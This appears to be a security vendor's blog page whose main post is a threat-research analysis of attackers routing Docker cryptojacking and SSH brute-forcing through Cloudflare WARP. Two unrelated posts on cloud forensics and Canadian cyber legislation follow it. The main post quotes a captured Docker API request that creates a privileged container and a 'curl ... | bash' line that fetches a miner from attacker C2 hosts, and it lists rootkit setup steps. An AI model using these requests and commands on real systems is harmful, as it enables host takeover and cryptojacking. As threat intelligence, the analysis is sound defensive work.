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July 17, 2024

WARPscan: Cloudflare WARP Abused to Hijack Cloud Services

Cado Security (now a part of Darktrace) found attackers are abusing Cloudflare's WARP service, a free VPN, to launch attacks. WARP traffic often bypasses firewalls due to Cloudflare's trusted status, making it harder to detect. Campaigns like "SSWW" cryptojacking and SSH brute-forcing exploit this trust, highlighting a significant security risk for organizations.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher
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17
Jul 2024

Introduction: WARPscan

Researchers from Cado Security Labs (now part of Darktrace) have observed several recent campaigns making use of Cloudflare’s WARP[1] service in order to attack vulnerable internet-facing services. In this blog we will explain what Cloudflare WARP is, the implications for its use in opportunistic attacks, and provide a few case studies on real-world attacks taking advantage of WARP.

What is Cloudflare WARP?

Cloudflare WARP is effectively a Virtual Private Network (VPN) that uses Cloudflare’s international backbone to “optimize” user’s traffic. This is a free service, meaning anyone can download and use it for their own purposes. In practice, WARP just tunnels traffic to the nearest Cloudflare data center over a custom implementation of WireGuard, which they claim will speed up your connection.

Cloudflare WARP is designed to present the IP of the end user to Cloudflare CDN customers. However, attacks observed by Cado researchers exclusively connect directly to IP addresses rather than Cloudflare’s CDN, with the attacker in control of the transport and application layers. As such, it is not possible to determine the IP of the attackers.

Implications of attacks originating from WARP

Network administrators are far more likely to inherently trust or overlook traffic originating from Cloudflare’s ASN as it is not a common attack origin, and is often used in many organizations as a part of regular business operations. As a result of this, the IP ranges used by WARP may even be allowed in firewalls, and might be missed during triage of alerts by Security Operations Center (SOC) teams.

Cado Security has observed several threads on sysadmin forums, where network operators are advised to “allowlist” all of Cloudflare’s IP ranges instead of just those specific to a given service, which is a serious security risk that makes their infrastructure directly vulnerable to attackers using WARP to launch their attacks.

These factors make attacks using WARP potentially more dangerous unless an organization takes preventive action, such as educating security teams and ensuring WARP IP ranges are not included in Cloudflare related firewall rules.

Case study - SSWW mining campaign

The SSWW campaign is a novel cryptojacking campaign targeting exposed Docker which utilizes Cloudflare WARP for initial access. Based on the TLS certificate used by the C2 server, it would appear that the C2 was created on September 5, 2023. However, the first attack detected against Cado’s honeypot infrastructure was on February 21, 2024, which lines up with the dropped payload’s Last-Modified header of February 20, the day before. This is likely when the current campaign began.

IPv4 TCP (PA) 104.28.247.120:19736 -> redacted:2375 POST /containers/create 
HTTP/1.1 
Host: redacted:2375 
Accept-Encoding: identity 
User-Agent: Docker-Client/20.10.17 (linux) 
Content-Length: 245 
Content-Type: application/json 
{"Image": "61395b4c586da2b9b3b7ca903ea6a448e6783dfdd7f768ff2c1a0f3360aaba99", "Entrypoint": ["sleep", "3600"], "User": "root", "HostConfig": {"Binds": ["/:/h"], "NetworkMode": "host", "PidMode": "host", "Privileged": true, "UsernsMode": "host"}}  

The attack began with a container being created with elevated permissions, and access to the host. The image used is simply selected from images that are already available on the host, so the attacker does not have to download any new images.

The attacker then creates a Docker VND stream in order to run commands within the created container:

{"AttachStdout": true, "AttachStderr": true, "Privileged": true, "Cmd": ["chroot", "/h", "bash", "-c", "curl -k https://85[.]209.153.27:58282/ssww | bash"]}

This downloads the main SSWW script from the attacker’s command and control (C2) infrastructure and sets it running. The SSWW script is fairly straightforward and does the following set up tasks:

  • Attempts to stop “systemd” services that belong to competing miners.
  • Exits if the system is already infected by the SSWW campaign.
  • Disables “SELinux”.
  • Sets up huge pages and enables drop_caches, common XMRig optimizations
  • Downloads https://94[.]131.107.38:58282/sst, an XMRig miner with embedded config, and saves it as /var/spool/.system
  • Attempts to download and compile https://94[.]131.107.38:58282/phsd2.c, which is a simple off-the-shelf process hider designed to hide the .system process. If this fails, it will download https://94[.]131.107.38:58282/li instead. The resultant binary of either of these processes is saved to /usr/lib/libsystemd-shared-165.so
  • Adds the above to /etc/ld.so.preload such that it acts as a usermode rootkit.
  • Saves https://94[.]131.107.38:58282/aa82822, a SystemD unit file for running /var/spool/.system, to /lib/systemd/system/cdngdn.service, and then enables it.

The configuration file can be extracted out of the miner, and observe that it is using the wallet address:  44EP4MrMADSYSxmN7r2EERgqYBeB5EuJ3FBEzBrczBRZZFZ7cKotTR5airkvCm2uJ82nZHu8U3YXbDXnBviLj3er7XDnMhP on the monero ocean gulf mining pool. We can then use the mining pool’s wallet lookup feature to determine the attacker has made a total of 9.57 XMR (~£1269 at time of writing).

While using Cloudflare WARP affords the attacker a layer of anonymity, we can see the IPs the attacks originate from are consistently deriving from the Cloudflare data center in Zagreb, Croatia. As Cloudflare WARP will use the nearest data center, this suggests that the attacker’s scan server is located in Croatia. The C2 IPs on the other hand are hosted using a Netherlands-based VPS provider.

The main benefit to the attacker of using Cloudflare WARP is likely the relative anonymity afforded by WARP, as well as the reduced suspicion around traffic related to Cloudflare. It is possible that some improperly configured systems that allow all Cloudflare traffic have been compromised as a result of this, however, it is not possible to say with certainty without having access to all compromised hosts infected by the malware.

Case study - opportunistic SSH attacks

Since 2022, Cado Security has been tracking SSH attacks originating from WARP addresses. Initially these were fairly limited, however around the end of 2023 they surged to a few thousand per month. These frequently rise and fall with quite a high velocity, suggesting that the surges are the result of individual campaigns rather than a more general trend.

A screenshot of a graphAI-generated content may be incorrect.
Figure 1: SSH attacks originating from WARP addresses since the end of 2023

Interestingly, a number of SSH campaigns we have seen previously originating from commonly abused VPS providers now appear to have migrated to using Cloudflare WARP. As these VPS providers are soft on abuse, it is unlikely that the purpose of this was for anonymity. Instead, the attackers are likely trying to take advantage of Cloudflare’s “clean” IP ranges (many “dirty” ranges belonging to bulletproof hosting are blocklisted, e.g. by spamhaus [2]), as well as the higher likelihood of the Cloudflare ranges being overlooked or blindly allowed in the victim’s firewall.

All of the attacks seen so far from Cloudflare WARP appear to be simple SSH brute forcing attacks, however it is alleged that the recent CVE-2024-6387 is now being exploited in the wild [3]. An attacker could perform this exploit via Cloudflare WARP in order to take advantage of overly trusting firewalls to attack organizations that may not otherwise have the vulnerable SSH server exposed.

Conclusion

The main threat posed by attackers using Cloudflare’s WARP service is the inherent trust administrators may have in traffic originating from Cloudflare, and the dangerous advice to “allow all Cloudflare IPs” being circulated online. Ensure your organization has not granted permission for 104[.]28.0.0/16 in your firewall. Follow a defense in-depth approach and additionally ensure services such as SSH have strong authentication (via SSH keys instead of passwords) and are up-to-date. Do not expose Docker to the internet, even if it is behind a firewall.

References:

[1] https://one.one.one.one/

[2] https://www.spamhaus.org/blocklists/spamhaus-blocklist/

[3] https://veriti.ai/blog/regresshion-cve-2024-6387-a-targeted-exploit-in-the-wild/

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

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September 23, 2025

It’s Time to Rethink Cloud Investigations

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Cloud Breaches Are Surging

Cloud adoption has revolutionized how businesses operate, offering speed, scalability, and flexibility. But for security teams, this transformation has introduced a new set of challenges, especially when it comes to incident response (IR) and forensic investigations.

Cloud-related breaches are skyrocketing – 82% of breaches now involve cloud-stored data (IBM Cost of a Data Breach, 2023). Yet incidents often go unnoticed for days: according to a 2025 report by Cybersecurity Insiders, of the 65% of organizations experienced a cloud-related incident in the past year, only 9% detected it within the first hour, and 62% took more than 24 hours to remediate it (Cybersecurity Insiders, Cloud Security Report 2025).

Despite the shift to cloud, many investigation practices remain rooted in legacy on-prem approaches. According to a recent report, 65% of organizations spend approximately 3-5 days longer when investigating an incident in the cloud vs. on premises.

Cloud investigations must evolve, or risk falling behind attackers who are already exploiting the cloud’s speed and complexity.

4 Reasons Cloud Investigations Are Broken

The cloud’s dynamic nature – with its ephemeral workloads and distributed architecture – has outpaced traditional incident response methods. What worked in static, on-prem environments simply doesn’t translate.

Here’s why:

  1. Ephemeral workloads
    Containers and serverless functions can spin up and vanish in minutes. Attackers know this as well – they’re exploiting short-lived assets for “hit-and-run” attacks, leaving almost no forensic footprint. If you’re relying on scheduled scans or manual evidence collection, you’re already too late.
  2. Fragmented tooling
    Each cloud provider has its own logs, APIs, and investigation workflows. In addition, not all logs are enabled by default, cloud providers typically limit the scope of their logs (both in terms of what data they collect and how long they retain it), and some logs are only available through undocumented APIs. This creates siloed views of attacker activity, making it difficult to piece together a coherent timeline. Now layer in SaaS apps, Kubernetes clusters, and shadow IT — suddenly you’re stitching together 20+ tools just to find out what happened. Analysts call it the ‘swivel-chair Olympics,’ and it’s burning hours they don’t have.
  3. SOC overload
    Analysts spend the bulk of their time manually gathering evidence and correlating logs rather than responding to threats. This slows down investigations and increases burnout. SOC teams are drowning in noise; they receive thousands of alerts a day, the majority of which never get touched. False positives eat hundreds of hours a month, and consequently burnout is rife.  
  4. Cost of delay
    The longer an investigation takes, the higher its cost. Breaches contained in under 200 days save an average of over $1M compared to those that linger (IBM Cost of a Data Breach 2025).

These challenges create a dangerous gap for threat actors to exploit. By the time evidence is collected, attackers may have already accessed or exfiltrated data, or entrenched themselves deeper into your environment.

What’s Needed: A New Approach to Cloud Investigations

It’s time to ditch the manual, reactive grind and embrace investigations that are automated, proactive, and built for the world you actually defend. Here’s what the next generation of cloud forensics must deliver:

  • Automated evidence acquisition
    Capture forensic-level data the moment a threat is detected and before assets disappear.
  • Unified multi-cloud visibility
    Stitch together logs, timelines, and context across AWS, Azure, GCP, and hybrid environments into a single unified view of the investigation.
  • Accelerated investigation workflows
    Reduce time-to-insight from hours or days to minutes with automated analysis of forensic data, enabling faster containment and recovery.
  • Empowered SOC teams
    Fully contextualised data and collaboration workflows between teams in the SOC ensure seamless handover, freeing up analysts from manual collection tasks so they can focus on what matters: analysis and response.

Attackers are already leveraging the cloud’s agility. Defenders must do the same — adopting solutions that match the speed and scale of modern infrastructure.

Cloud Changed Everything. It’s Time to Change Investigations.  

The cloud fundamentally reshaped how businesses operate. It’s time for security teams to rethink how they investigate threats.

Forensics can no longer be slow, manual, and reactive. It must be instant, automated, and cloud-first — designed to meet the demands of ephemeral infrastructure and multi-cloud complexity.

The future of incident response isn’t just faster. It’s smarter, more scalable, and built for the environments we defend today, not those of ten years ago.  

On October 9th, Darktrace is revealing the next big thing in cloud security. Don’t miss it – sign up for the webinar.

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Kellie Regan
Director, Product Marketing - Cloud Security

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September 22, 2025

Understanding the Canadian Critical Cyber Systems Protection Act

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Introduction: The Canadian Critical Cyber Systems Protection Act

On 18 June 2025, the Canadian federal Government introduced Bill C-8 which, if adopted following completion of the legislative process, will enact the Critical Cyber Systems Protection Act (CCSPA) and give Canada its first federal, cross-sector and legally binding cybersecurity regime for designated critical infrastructure providers. As of August 2025, the Bill has completed first reading and stands at second reading in the Canadian House of Commons.

Political context

The measure revives most of the stalled 2022 Bill C-26 “An Act Respecting Cyber Security” which “died on Paper” when Parliament was prorogued in January 2025, in the wake of former Prime Minister Justin Trudeau’s resignation.

The new government, led by Mark Carney since March 2025, has re-tabled the package with the same two-part structure: (1) amendments to the Telecommunications Act that enable security directions to telecoms; and (2) a new CCSPA setting out mandatory cybersecurity duties for designated operators. This blog focuses on the latter.

If enacted, Canada will join fellow Five Eyes partners such as the United Kingdom and Australia, which already impose statutory cyber-security duties on operators of critical national infrastructure.

The case for new cybersecurity legislation in Canada

The Canadian cyber threat landscape has expanded. The country's national cyber authority, the Canadian Centre for Cybersecurity (Cyber Centre), recently assessed that the number of cyber incidents has “sharply increased” in the last two years, as has the severity of those incidents, with essential services providers among the targets. Likewise, in its 2025-2026 National Cyber Threat Assessment, the Cyber Centre warned that AI technologies are “amplifying cyberspace threats” by lowering barriers to entry, improving the speed and sophistication of social-engineering attacks and enabling more precise operations.

This context mirrors what we are seeing globally: adversaries, including state actors, are taking advantage of the availability and sophistication of AI tools, which they have leverage to amplify the effectiveness of their operations. In this increasingly complex landscape, regulation must keep pace and evolve in step with the risk.

What the Canadian Critical Cyber Systems Protection Act aims to achieve

  • If enacted, the CCSPA will apply to operators in federally regulated critical infrastructure sectors which are vital to national security and public safety, as further defined in “Scope” below (the “Regulated Entities”), to adopt and comply with a minimum standard of cybersecurity duties (further described below)  which align with those its Five Eyes counterparts are already adhering to.

Who does the CCSPA apply to

The CCSPA would apply to designated operators that deliver services or systems within federal jurisdiction in the following priority areas:

  • telecommunications services
  • interprovincial or international pipeline and power line systems, nuclear energy systems, transportation systems
  • banking and clearing  
  • settlement systems

The CCSPA would also grant the Governor in Council (Federal Cabinet) with powers to add or remove entities in scope via regulation.

Scope of the CCSPA

The CCSPA introduces two key instruments:

First, it strengthens cyber threat information sharing between responsible ministers, sector regulators, and the Communications Security Establishment (through the Cyber Centre).

Second, it empowers the Governor in Council (GIC) to issue Cyber Security Directions (CSDs) - binding orders requiring a designated operator to implement specified measures to protect a critical cyber system within defined timeframes.

CSDs may be tailored to an individual operator or applied to a class of operators and can address technology, process, or supplier risks. To safeguard security and commercial confidentiality, the CCSPA restricts disclosure of the existence or content of a CSD except as necessary to carry it out.

Locating decision-making with the GIC ensures that CSDs are made with a cross-government view that weighs national security, economic priorities and international agreement.

New obligations for designated providers

The CCSPA would impose key cybersecurity compliance and obligations on designated providers. As it stands, this includes:

  1. Establishing and maintaining cybersecurity programs: these will need to be comprehensive, proportionate and developed proactively. Once implemented, they will need to be continuously reviewed
  2. Mitigating supply chain risks: Regulated Entities will be required to assess their third-party products and services by conducting a supply chain analysis, and take active steps to mitigate any identified risks
  3. Reporting incidents:  Regulated Entities will need to be more transparent with their reporting, by making the Communications Security Establishment (CSE) aware of any incident which has, or could potentially have, an impact on a critical system. The reports must be made within specific timelines, but in any event within no more than 72 hours;
  4. Compliance with cybersecurity directions:  the government will, under the CCSPA, have the authority to issue cybersecurity directives in an effort to remain responsive to emerging threats, which Regulated Entities will be required to follow once issued
  5. Record keeping: this shouldn’t be a surprise to many of those Regulated Entities which fall in scope, which are already likely to be subject to record keeping requirements. Regulated Entities should expect to be maintaining records and conducting audits of their systems and processes against the requirements of the CCSPA

It should be noted, however, that this may be subject to change, so Regulated Entities should keep an eye on the progress of the Bill as it makes its way through parliament.

Enforcement of the Act would be carried out by sector-specific regulators identified in the Act such as the Office of the Superintendent of Financial Institutions, Minister of Transport, Canada Energy Regulator, Canadian Nuclear Safety Commission and the Ministry of Industry.

What are the penalties for CCSPA non-compliance?

When assessing the penalties associated with non-compliance with the requirements of the CCSPA, it is clear that such non-compliance will be taken seriously, and the severity of the penalties follows the trend of those applied by the European Union to key pieces of EU legislation. The “administrative monetary penalties” (AMPs) set by regulation could see fines being applied of up to C$1 million for individuals and up to C$15 million for organizations.

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